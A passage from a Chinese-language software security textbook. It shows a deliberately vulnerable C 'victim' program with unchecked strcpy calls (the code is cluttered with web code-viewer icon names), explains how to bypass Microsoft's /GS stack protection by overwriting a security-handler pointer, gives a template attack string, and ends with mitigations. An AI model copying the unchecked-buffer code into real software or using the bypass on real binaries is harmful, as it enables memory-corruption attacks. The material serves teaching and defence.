16ExpandedSubBlockStart.gifContractedSubBlock.gif        if (strncmp(p_str, "id="3== 0)dot.gif{
17InBlock.gif            strcpy(user_id, p_str + 3 );
18ExpandedSubBlockEnd.gif        }

19ExpandedSubBlockStart.gifContractedSubBlock.gif        else if (strncmp(p_str, "pw="3== 0)dot.gif{
20InBlock.gif            strcpy(password, p_str + 3);
21ExpandedSubBlockEnd.gif        }

22InBlock.gif        p_str = strtok(NULL, "&");
23ExpandedSubBlockEnd.gif    }

24ExpandedBlockEnd.gif}

25ExpandedBlockStart.gifContractedBlock.gif/**//*
26InBlock.gifAny combination will fail.
27ExpandedBlockEnd.gif*/

28ExpandedBlockStart.gifContractedBlock.gifint check_password(char *id, char *password)dot.gif{
29InBlock.gif    return -1;
30ExpandedBlockEnd.gif}

31ExpandedBlockStart.gifContractedBlock.gif/**//*
32InBlock.gifWe use argv[1] to provide request string.
33ExpandedBlockEnd.gif*/

34None.gifint main(int argc, char ** argv)
35ExpandedBlockStart.gifContractedBlock.gifdot.gif{
36InBlock.gif    char user_id[32];
37InBlock.gif    char password[32];
38InBlock.gif    user_id[0= '\0';
39InBlock.gif    password[0= '\0';
40ExpandedSubBlockStart.gifContractedSubBlock.gif    if ( argc < 2 ) dot.gif{
41InBlock.gif        printf("Usage: victim request.\n");
42InBlock.gif        return 0;
43ExpandedSubBlockEnd.gif    }

44InBlock.gif    decode( argv[1], user_id, password);
45ExpandedSubBlockStart.gifContractedSubBlock.gif    if ( check_password(user_id, password) > 0 )dot.gif{
46InBlock.gif        //Dead code.
47InBlock.gif        printf("Welcome!\n");
48ExpandedSubBlockEnd.gif    }

49ExpandedSubBlockStart.gifContractedSubBlock.gif    elsedot.gif{
50InBlock.gif        printf("Invalid password, user:%s password:%s.\n", user_id, password);
51ExpandedSubBlockEnd.gif    }

52InBlock.gif    return 0;
53ExpandedBlockEnd.gif}

函数decode包含了没有经过检查的缓冲区temp_request,通过使其溢出,则可以修改参数user_id和password。

假如此程序由/GS选项编译的话,就不太可能利用溢出函数decode的返回地址,从而修改程序的执行路径。然而, 却有可能使函数decode的参数user_id溢出,从而使其指向上面所提到的user_handler变量。所以,当调用strcpy (user_id, p_str+3);时,可以给user_handler分配一事先设置好的变量值。例如,使其指向内存区中的printf(“welcome!\ n”);,当缓冲区溢出被检测到时,则执行用户安装的安全处理程序,从而就会执行printf (“welcome!\n”);。所使用的攻击字符串则可以是如下格式:

id=[location to jump to]&pw=[any]AAAAAAA…AAA[address of user_handler]

在面对已经编译了的并受到“保护”的二进制代码时,只要有一点逆向工程的知识,那么想发现user_handler在内存中的地址实在是一件微不足道的事情。所导致的结果就是:原先想象中可以得到保护的程序,对上面所述的攻击实在是脆弱不堪。

2.5.4 解决方案

有很多可选解决方案,可以防止如上所述的攻击模式的攻击。最好的解决方法是让开发者选择类型安全的语言,例如Java或者C#;接下来较好的解决方法,是在动态编译时检查运行时会调用的字符串函数(虽然会影响性能)。对于有限制的软件来说,这些解决方案不一定都有用。

修改/GS也是可行的方法。下面所述的每一种修改,其目标都是希望得到栈中更好的数据完整性。

(1) 更加仔细地检查标志字段,以确保栈中变量的完整性。如果在栈中有某个变量处在缓冲区之后,那么在使用这个变量之前必须对其进行完整性检查。也可以对变量进行数据依赖性分析从而控制检查的频率。

(2) 通过重新调整栈的结构,以确保栈中变量的完整性。只要有可能,非缓冲的局部变量都应该放在缓冲区变量之前。更进一步讲,由于函数的参数被安排在了局部缓冲 区的后面(假如有的话),它们也应该同样地放在缓冲区之前。在函数的入口地址处,局部缓冲之前,应该保留额外的栈空间,这样才能保存所有参数的副本。在函 数体中每次用到这些参数都应该用其最新的副本代替。这样的解决方法至少已经在IBM的一项工程10中得到应用。

(3) 通过提供可控写(managed-writable)机制,以确保全局变量的完整性。经常的,一些重要的全局变量会由于程序错误或是滥用全局变量使其被破 坏。利用可控写机制可以把这些全局变量存放在只读区域中。当有必要修改这些变量时,对只读区域的内存访问权限可以转变成可写。而当修改完成后,访问权限又 转变成只读。利用这样的机制,当对受保护的变量有非预期的“写”时,会违背存储访问权限。对那些在进程生命周期中只被赋值一次或者两次的变量,对这些变量 进行写控制的耗费是可以忽略不计的。

Microsoft在其后续的编译器版本中已经多多少少地采用了这些思想。

2.5.5 攻击回顾

到目前为止,对于这有趣的攻击应该很清楚了:Microsoft为了阻止发生标准的攻击,本想利用新的安全特性进行 保护,结果却在Microsoft编译器中埋下了安全脆弱点的种子。最有意思的是,可以利用和以前一样的攻击模式,来攻击已经受到所谓安全保护的编译器。 问题出来了:在调用新的安全特性的时候,原先不容易受到攻击的字符串函数变得更加容易受到攻击。这对软件安全来说是个噩梦,对软件攻击来说则是个喜讯11

在这一缺陷公布的两年后,至少有两个破解组织发现了利用/GS进行两段跳板式的攻击。正如前面提到的,所谓的安全机制现在成了攻击者的立足点。

上一页 2.4 攻击模式:灾难性的蓝图 返回本书目录 下一页 2.6 应用攻击模式
没有更多推荐了,返回首页